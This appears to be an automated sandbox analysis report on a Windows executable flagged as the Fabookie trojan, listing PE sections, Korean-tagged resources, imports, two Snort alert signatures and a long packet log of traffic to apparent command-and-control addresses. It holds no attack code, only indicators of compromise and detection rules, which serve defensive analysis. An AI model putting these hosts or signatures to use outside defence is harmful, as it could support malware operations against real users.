[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x313d4	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x448000	0x3440	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x12f0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x8f18	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x298	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x31310	0x31400	False	0.41799849302030456	data	6.1313029337165	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x33000	0x414bc8	0x14000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x448000	0x3440	0x3600	False	0.6267361111111112	data	5.634622525352187	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x44afa0	0x2	data
AFX_DIALOG_LAYOUT	0x44af98	0x2	data
AFX_DIALOG_LAYOUT	0x44afa8	0x2	data
AFX_DIALOG_LAYOUT	0x44afb0	0x2	data
AFX_DIALOG_LAYOUT	0x44afb8	0x2	data
RT_ICON	0x4483d0	0x6c8	data	Korean	North Korea
RT_ICON	0x4483d0	0x6c8	data	Korean	South Korea
RT_ICON	0x448a98	0x568	GLS_BINARY_LSB_FIRST	Korean	North Korea
RT_ICON	0x448a98	0x568	GLS_BINARY_LSB_FIRST	Korean	South Korea
RT_ICON	0x449000	0x10a8	data	Korean	North Korea
RT_ICON	0x449000	0x10a8	data	Korean	South Korea
RT_ICON	0x44a0a8	0x988	dBase III DBT, version number 0, next free block index 40	Korean	North Korea
RT_ICON	0x44a0a8	0x988	dBase III DBT, version number 0, next free block index 40	Korean	South Korea
RT_ICON	0x44aa30	0x468	GLS_BINARY_LSB_FIRST	Korean	North Korea
RT_ICON	0x44aa30	0x468	GLS_BINARY_LSB_FIRST	Korean	South Korea
RT_STRING	0x44b100	0x15a	data	Korean	North Korea
RT_STRING	0x44b100	0x15a	data	Korean	South Korea
RT_STRING	0x44b260	0x1e0	data	Korean	North Korea
RT_STRING	0x44b260	0x1e0	data	Korean	South Korea
RT_ACCELERATOR	0x44af48	0x50	data	Korean	North Korea
RT_ACCELERATOR	0x44af48	0x50	data	Korean	South Korea
RT_ACCELERATOR	0x44aee8	0x60	data	Korean	North Korea
RT_ACCELERATOR	0x44aee8	0x60	data	Korean	South Korea
RT_GROUP_ICON	0x44ae98	0x4c	data	Korean	North Korea
RT_GROUP_ICON	0x44ae98	0x4c	data	Korean	South Korea
RT_VERSION	0x44afc0	0x140	MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Imports

DLL	Import
KERNEL32.dll	QueryDosDeviceA, LocalFree, SetProcessPriorityBoost, VirtualQuery, GlobalGetAtomNameW, FindResourceA, GetComputerNameExW, GetModuleHandleA, GetTempPathA, BuildCommDCBAndTimeoutsW, GetProcAddress, VirtualProtect, OpenJobObjectW, _lwrite, UnlockFile, GetPrivateProfileStructA, GetDiskFreeSpaceExW, DefineDosDeviceA, SetVolumeMountPointW, GetAtomNameA, FlushConsoleInputBuffer, EnumResourceLanguagesA, GetCPInfoExW, GetThreadContext, lstrlenW, GetProcessAffinityMask, SetConsoleWindowInfo, GlobalGetAtomNameA, CreateJobSet, CopyFileW, lstrcpynA, WriteConsoleA, GetCommandLineA, GetLastError, GetCommandLineW, InterlockedIncrement, CreateJobObjectW, InitializeCriticalSection, GetConsoleFontSize, FindNextVolumeW, GlobalFlags, VerifyVersionInfoA, LoadLibraryW, GetConsoleAliasesLengthW, WriteProfileSectionW, AddAtomA, InterlockedDecrement, LoadLibraryA, FoldStringA, GetDefaultCommConfigW, GetConsoleAliasesLengthA, lstrcpyA, TerminateThread, HeapSize, SetCriticalSectionSpinCount, GetComputerNameA, EnumSystemLocalesW, DisableThreadLibraryCalls, OpenMutexA, LocalFileTimeToFileTime, SearchPathA, SetProcessShutdownParameters, CreateMutexA, FormatMessageA, InterlockedCompareExchange, EnumDateFormatsW, GetConsoleScreenBufferInfo, LocalAlloc, SetFileShortNameA, EnumCalendarInfoExW, GetFileAttributesA, GetSystemWindowsDirectoryW, GetAtomNameW, ReadConsoleInputA, EnumDateFormatsA, _hwrite, GetConsoleAliasA, GetDefaultCommConfigA, GetFullPathNameW, DebugBreakProcess, SetCurrentDirectoryW, SetCalendarInfoW, GetProfileSectionW, FindNextFileA, SetHandleCount, MoveFileWithProgressW, ReadConsoleOutputCharacterW, CopyFileExA, SetConsoleCursorInfo, WideCharToMultiByte, UnhandledExceptionFilter, SetUnhandledExceptionFilter, MoveFileA, DeleteFileA, RaiseException, GetStartupInfoA, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsGetValue, GetModuleHandleW, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, SetLastError, Sleep, ExitProcess, GetModuleFileNameA, WriteFile, GetStdHandle, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetFileType, HeapDestroy, HeapCreate, HeapFree, VirtualFree, HeapAlloc, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, DebugBreak, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, FlushFileBuffers, GetConsoleCP, GetConsoleMode, ReadFile, SetFilePointer, CloseHandle, SetStdHandle, GetConsoleOutputCP, CreateFileA
GDI32.dll	GetCharWidth32A, GetBoundsRect, GetCharWidthW, SelectObject
ADVAPI32.dll	RevertToSelf

Possible Origin

Language of compilation system	Country where language is spoken	Map
Korean	North Korea
Korean	South Korea

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.345.136.151.10249771802851115 08/31/22-08:34:45.213696	TCP	2851115	ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2	49771	80	192.168.2.3	45.136.151.102
192.168.2.38.8.8.849874532023883 08/31/22-08:34:44.128637	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	49874	53	192.168.2.3	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2022 08:33:37.444825888 CEST	49740	80	192.168.2.3	185.237.206.60
Aug 31, 2022 08:33:40.552452087 CEST	49740	80	192.168.2.3	185.237.206.60
Aug 31, 2022 08:33:46.646640062 CEST	49740	80	192.168.2.3	185.237.206.60
Aug 31, 2022 08:33:50.425899982 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:50.586649895 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:50.586796999 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:50.587341070 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:50.587490082 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:50.750070095 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.240057945 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.240101099 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.240130901 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.240153074 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.240168095 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.240328074 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.240369081 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.403122902 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.403156042 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.403178930 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.403201103 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.403208017 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.403220892 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.403235912 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.403242111 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.403263092 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.403289080 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.403311014 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.563530922 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563564062 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563579082 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563606024 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563625097 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563643932 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563664913 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563688040 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563708067 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563728094 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563730001 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.563746929 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563766956 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.563786983 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.563812971 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.567643881 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.567665100 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.567773104 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.726249933 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726291895 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726313114 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726334095 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726355076 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726375103 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726377964 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.726396084 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726417065 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726438046 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726454020 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.726459980 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726480007 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.726483107 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726502895 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.726509094 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.726552010 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.730503082 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730540991 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730572939 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730592966 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730612993 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730632067 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730650902 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730670929 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730691910 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730690956 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.730734110 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730739117 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.730756998 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730777025 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730797052 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.730798006 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.730823994 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.884984016 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.885191917 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.889359951 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889398098 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889431000 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889452934 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889472008 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889487028 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889511108 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889518023 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.889530897 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889552116 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889575005 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889595032 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889614105 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.889621973 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.889662981 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.893599033 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893637896 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893661976 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893682003 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893699884 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893712997 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.893723011 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893744946 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893758059 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.893767118 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893788099 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893801928 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.893809080 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893830061 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893836021 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.893855095 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.893860102 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.893898964 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.897844076 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.897886992 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.897902012 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.897927046 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.897947073 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.897965908 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.897984982 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.898003101 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.898022890 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.898042917 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.898061037 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.898080111 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.898099899 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.898101091 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.898145914 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.898149967 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.902232885 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.902262926 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.902277946 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.902304888 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.902324915 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.902344942 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.902362108 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.902365923 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.902388096 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:51.902415037 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:51.902452946 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.046363115 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.046425104 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.046459913 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.046785116 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.050571918 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050626040 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050661087 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050682068 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050703049 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050723076 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050744057 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050765991 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050786018 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050808907 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050828934 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.050852060 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.051091909 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.051165104 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.054728985 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054795980 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054816008 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054835081 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054856062 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054876089 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054898977 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054918051 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054936886 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054956913 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054980040 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.054996967 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.055073023 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.055170059 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.058963060 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059004068 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059032917 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059052944 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059072971 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059092999 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059113979 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059134007 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059150934 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059173107 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059190989 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059212923 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.059209108 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.059262991 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.059288025 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.062936068 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.062977076 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.063009024 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.063028097 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.063051939 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.063071012 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.063091040 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.063112974 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.063133001 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.063276052 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.063412905 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.207336903 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.207392931 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.207422018 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.207581043 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.211469889 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211503029 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211520910 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211544991 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211565018 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211584091 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211605072 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211626053 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211630106 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.211647034 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211662054 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.211668015 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211688995 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211709023 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.211713076 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.211741924 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.215643883 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215676069 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215697050 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215715885 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215714931 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.215738058 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215739965 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.215759993 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215779066 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215789080 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.215801001 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215818882 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.215820074 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215842962 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215854883 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.215861082 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215882063 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.215895891 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.219877005 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.219902992 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.219928026 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.219945908 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.219959021 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.219969034 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.219985962 CEST	49742	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:33:52.219990015 CEST	80	49742	187.195.146.2	192.168.2.3
Aug 31, 2022 08:33:52.220002890 CEST	49742	80	192.168.2.3	187.195.146.2
